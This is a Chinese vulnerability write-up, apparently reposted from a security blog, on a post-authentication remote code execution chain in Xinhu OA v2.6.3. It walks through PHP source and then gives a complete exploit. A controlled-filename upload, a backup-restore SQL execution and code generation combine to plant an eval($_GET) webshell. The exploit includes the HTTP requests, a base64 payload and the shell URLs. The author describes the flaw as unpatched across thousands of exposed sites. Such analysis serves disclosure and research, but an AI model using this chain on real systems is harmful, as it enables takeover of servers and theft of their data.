测试版本:v2.6.3(最新版)
前两天某天收洞,说奖金挺高,想着挖一挖赚点外快,审核说无法复现不收,不收就不收吧。
那我就提交cnvd,cnvd嫌我不写分析步骤不收驳回,那就不交了吧
我寻思直接联系厂商修复吧。嗯厂商也是爱答不理。
我寻思这系统是没人用还是咋地,那fofa还将近6000的站点
这是个组合拳sql注入拿token进后台getshell,因为前台注入没修就不写出来了。只分享个后台getshell。
写文章这不能也给我驳回了吧。
漏洞触发点-
Path: webmain/main/flow/flowAction.php
method: inputAction
public
function
inputAction
()
{
$setid = (int)
$this
->get(
'setid'
,
'0'
);
if
(
$this
->setinputid>
0
)$setid =
$this
->setinputid;
$atype =
$this
->get(
'atype'
);
$rs = m(
'flow_set'
)->getone(
"`id`='$setid'"
);
if
(!$rs)
exit
(
'sorry!'
);
...........................
...........................
$apaths =
''
.P.
'/flow/input/mode_'
.$modenum.
'Action.php'
;
$apath =
''
.ROOT_PATH.
'/'
.$apaths.
''
;
if
(!file_exists($apath)){
$stra =
'<?php
/**
* 此文件是流程模块【'
.$modenum.
'.'
.$rs[
'name'
].
'】对应控制器接口文件。
*/
class mode_'
.$modenum.
'ClassAction extends inputAction{
/**
* 重写函数:保存前处理,主要用于判断是否可以保存
* $table String 对应表名
* $arr Array 表单参数
* $id Int 对应表上记录Id 0添加时,大于0修改时
* $addbo Boolean 是否添加时
* return array('msg'=>'错误提示内容','rows'=> array()) 可返回空字符串,或者数组 rows 是可同时保存到数据库上数组
*/
protected function savebefore($table, $arr, $id, $addbo){
}
/**
* 重写函数:保存后处理,主要保存其他表数据
* $table String 对应表名
* $arr Array 表单参数
* $id Int 对应表上记录Id
* $addbo Boolean 是否添加时
*/
protected function saveafter($table, $arr, $id, $addbo){
}
}
'
;
$this
->rock->createtxt($apaths, $stra);
}
if
(!file_exists($apath))
echo
'<div style="background:red;color:white;padding:10px">无法创建文件:'
.$apaths.
',会导致录入数据无法保存,请手动创建!代码内容如下:</div><div style="background:#caeccb"><?php<br>class mode_'
.$modenum.
'ClassAction extends inputAction<br>{<br>}</div>'
;
}
看代码从数据库中获取数据然后写出文件到/flow/input/mode_'.$modenum.'Action.php。
$rs['name']、$modenum和都是从数据库中获取的,然后写出没有过滤可以造成代码执行。
利用方式:
- insert data -> flow_set数据库
- 执行inputAction 方法
- 代码执行
先找insert的地方
Insert FlowSet
path: webmain/flow/input/inputAction.php
method: saveAjax
在这里进行过滤
$befa =
$this
->savebefore($table,
$this
->getsavenarr($uaarr, $oldrs), $id, $addbo);
.......
public
function
flowsetsavebefore
($table, $cans)
{
$tab = $cans[
'table'
];
$tabs= trim($cans[
'tables'
]);
$names= trim($cans[
'names'
]);
$name=
$this
->rock->xssrepstr($cans[
'name'
]);
$num = strtolower($cans[
'num'
]);
$cobj= c(
'check'
);
if
(!$cobj->iszgen($tab))
return
'表名格式不对'
;
if
($cobj->isnumber($num))
return
'编号不能为数字'
;
if
(strlen($num)<
4
)
return
'编号至少要4位'
;
if
($cobj->isincn($num))
return
'编号不能包含中文'
;
if
(contain($num,
'-'
))
return
'编号不能有-'
;
if
($cans[
'isflow'
]>
0
&& isempt($cans[
'sericnum'
]))
return
'有流程必须有写编号规则,请参考其他模块填写'
;
$rows[
'num'
]=
$this
->rock->xssrepstr($num);
$rows[
'name'
]= $name;
if
(!isempt($tabs)){
if
($cobj->isincn($tabs))
return
'多行子表名不能包含中文'
;
$tabsa = explode(
','
, $tabs);
$namea = explode(
','
, $names);
foreach
($tabsa
as
$k1=>$tabsas){
if
(isempt($tabsas))
return
'多行子表名('
.$tabs.
')不规范'
;
if
(isempt(arrvalue($namea, $k1)))
return
'第'
.($k1+
1
).
'个多行子表名称必须填写'
;
}
}
$rows[
'tables'
]= $tabs;
if
($cans[
'where'
])$rows[
'where'
] = htmlspecialchars_decode($cans[
'where'
]);
return
array
(
'rows'
=> $rows
);
}
-----------
$name=
$this
->rock->xssrepstr($cans[
'name'
]);
$rows[
'num'
]=
$this
->rock->xssrepstr($num);
public
function
xssrepstr
($str)
{
$xpd = explode(
','
,
'(,), , ,<,>,\,*,&,%,$,^,[,],{,},!,@,#,",+,?,;''
);
$xpd[]=
"n"
;
return
str_ireplace($xpd,
''
, $str);
}
可以看到insert对数据检测非常严格,而我们想要代码执行*/、()是必须的。所以这条路是走不通的。
- 柳暗花明又一村
后面翻代码注意到可以执行sql语句。那我们组合一下,直接通过sql语句insert然后就可以绕过输入检测。
path: webmain/system/beifen/beifenAction.php
method: huifdatanewAjax
public
function
huifdatanewAjax
()
{
if
(getconfig(
'systype'
)==
'demo'
)
exit
();
if
(
$this
->adminid!=
1
)
return
'只有ID=1的管理员才可以用'
;
$folder =
$this
->post(
'folder'
);
$sida = explode(
','
,
$this
->post(
'sid'
));
$alltabls =
$this
->db->getalltable();
$shul =
0
;
$tablss =
''
;
foreach
($sida
as
$id){
$ids = substr($id,
0
,
-5
);
$ida = explode(
'_'
, $ids);
$len = count($ida);
$fieldshu = $ida[$len
-2
];
$total = $ida[$len
-1
];
$tab = str_replace(
'_'
.$fieldshu.
'_'
.$total.
'.json'
,
''
, $id);
//表
$filepath =
''
.UPDIR.
'/data/'
.$folder.
'/'
.$id.
''
;
if
(!file_exists($filepath))
continue
;
$data = m(
'beifen'
)->getbfdata(
''
,$filepath);
if
(!$data)
continue
;
$dataarr = $data[$tab];
//表不存在
if
(!in_array($tab, $alltabls)){
$createsql = arrvalue($dataarr,
'createsql'
);
if
($createsql){
$this
->db->query($createsql,
false
);
}
else
{
continue
;
}
}
该method 通过从文件中获取数据,然后执行sql语句
既然是在后台找个文件上传不很简单,但问题来了
$sida = explode(
','
,
$this
->post(
'sid'
));
foreach
($sida
as
$id){
$tab = str_replace(
'_'
.$fieldshu.
'_'
.$total.
'.json'
,
''
, $id);
//表
$filepath =
''
.UPDIR.
'/data/'
.$folder.
'/'
.$id.
''
;
if
(!file_exists($filepath))
continue
;
$data = m(
'beifen'
)->getbfdata(
''
,$filepath);
//json_decode文件内容
if
(!$data)
continue
;
$dataarr = $data[$tab];
//表不存在
if
(!in_array($tab, $alltabls)){
$createsql = arrvalue($dataarr,
'createsql'
);
if
($createsql){
$this
->db->query($createsql,
false
);
}
else
{
continue
;
}
}
1、首先获取文件内容json_decode后储存到$data变量
2、获取$data[$tab]中的数据,$tab是我们上传的文件名
3、然后判断数据库中没有$tab这个table。
4、获取$data[$tab]['createsql']执行query。
其他都可控主要上传的图片文件名都是随机的。想要执行sql语句就必须控制文件名。
如:上传文件返回随机文件名asdasdasdsad.png,那么文件内容必须为
{"asdasdasdsad.png":{"createsql":"select 1"}}
我们无法提前预知生成的文件名,那这条路也嘎bi了。
- 柳暗花明又又一村
通过翻阅代码发现一处上传点,可控文件名。
path: webmain/task/openapi/openkqjAction.php
method: apiAction
public
function
apiAction
()
{
................
$acta = explode(
'?'
, $patha[count($patha)
-1
]);
$act = $acta[
0
];
$data =
array
();
$num =
$this
->get(
'sn'
);
//设备号
if
(!$num)
return
'notdata'
;
$dbs = m(
'kqjsn'
);
$snid = (int)$dbs->getmou(
'id'
,
"`num`='$num'"
);
if
($snid==
0
)$snid = $dbs->insert(
array
(
'num'
=> $num,
'optdt'
=>
$this
->rock->now,
'status'
=>
1
));
$this
->snid = $snid;
.......................
//推送来的
if
($act==
'post'
&&
$this
->postdata!=
''
){
$data= m(
'kqjcmd'
)->postdata(
$this
->snid,
$this
->postdata);
}
当$act='post' ,postdata不为空
进入 m('kqjcmd')->postdata
public
function
postdata
($snid, $dstr)
{
$this
->rock->debugs($dstr,
'postkqj_'
.$snid.
'_'
);
$barr = json_decode($dstr,
true
);
$carr =
array
();
$uids = $dids =
''
;
$snrs =
$this
->getsninfo($snid);
if
($barr)
foreach
($barr
as
$k=>$rs){
$dtype = arrvalue($rs,
'data'
);
//数据类型
................
//推送来的头像
if
($dtype==
'headpic'
){
$this
->saveheadpic($snid, $rs[
'ccid'
], $rs[
'headpic'
]);
}
当json_decode(postdata)['data'] == 'headpic'时
进入$this->saveheadpic
private
function
saveheadpic
($snid, $uid, $headpic, $face=
''
)
{
$where =
"`snid`='$snid' and `uid`='$uid'"
;
if
(isempt($face)){
if
(isempt($headpic))
return
;
$face =
''
.UPDIR.
'/face/kqj'
.$snid.
'_u'
.$uid.
'.jpg'
;
//头像保存为图片
$this
->rock->createtxt($face, base64_decode($headpic));
}
$arr[
'headpic'
] = $face;
if
(
$this
->kquobj->rows($where)==
0
){
$where =
''
;
$arr[
'snid'
] = $snid;
$arr[
'uid'
] = $uid;
}
$this
->kquobj->record($arr, $where);
}
在saveheadpic中,3个参数都是可控的,从而拿到可控文件名的上传点。
1、apiAction,$act=='post' && $this->postdata!='',进入m('kqjcmd')->postdata
2、postdata,json_decode(postdata)['data']== 'headpic',进入$this->saveheadpic
3、$this->saveheadpic写出文件到''.UPDIR.'/face/kqj'.$snid.'_u'.$uid.'.jpg'
那么开始漏洞利用
Exploit
1、首先insert一条flowset数据(ps:直接用sql insert太麻烦了直接正常构造一个正常数据,然后sql update)
记录id,163
2、构造执行sql语句的payload
id=前面记录的id
createsql为执行的sql语句
kqj1_u1.jpg为上传的可控文件名
3、Openkqj->postdata->headpic 上传可控文件名文件
headpic为前面构造的payload,base64编码
POST
/index.php/post?d=task&m=openkqj|openapi&a=api&sn=1
HTTP/1.1
{
"aasd"
:{
"data"
:
"headpic"
,
"id"
:
"1"
,
"headpic"
:
"eyJrcWoxX3UxLmpwZyI6eyJjcmVhdGVzcWwiOiJ1cGRhdGUgeGluaHVfZmxvd19zZXQgc2V0IG5hbWU9XCIqXC9ldmFsKCRfR0VUWydwd2EnXSk7XC8qXCIgIHdoZXJlIGlkPTE2MzsifX0="
,
"ccid"
:
"1"
}}
上传成功
4、执行sql语句
/index.php?a=huifdatanew&d=system&m=beifen&ajaxbool=true
post
folder=.*/./face&sid=kqj1_u1.jpg
5、触发漏洞
/index.php?a=input&m=flow&d=main&id=0&setid=163
setid为第一步返回的id
执行成功访问shell
shell地址:/webmain/flow/input/mode_test123Action.php?pwa=phpinfo();
Shell地址2:/?d=flow&m=mode_test123|input&pwa=phpinfo();
mode_test123Action.php = model_模块编号Action.php
作者:SetObject
原文链接:https://xz.aliyun.com/t/14920
原文始发于微信公众号(七芒星实验室):信呼OA后台GETSHELL分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论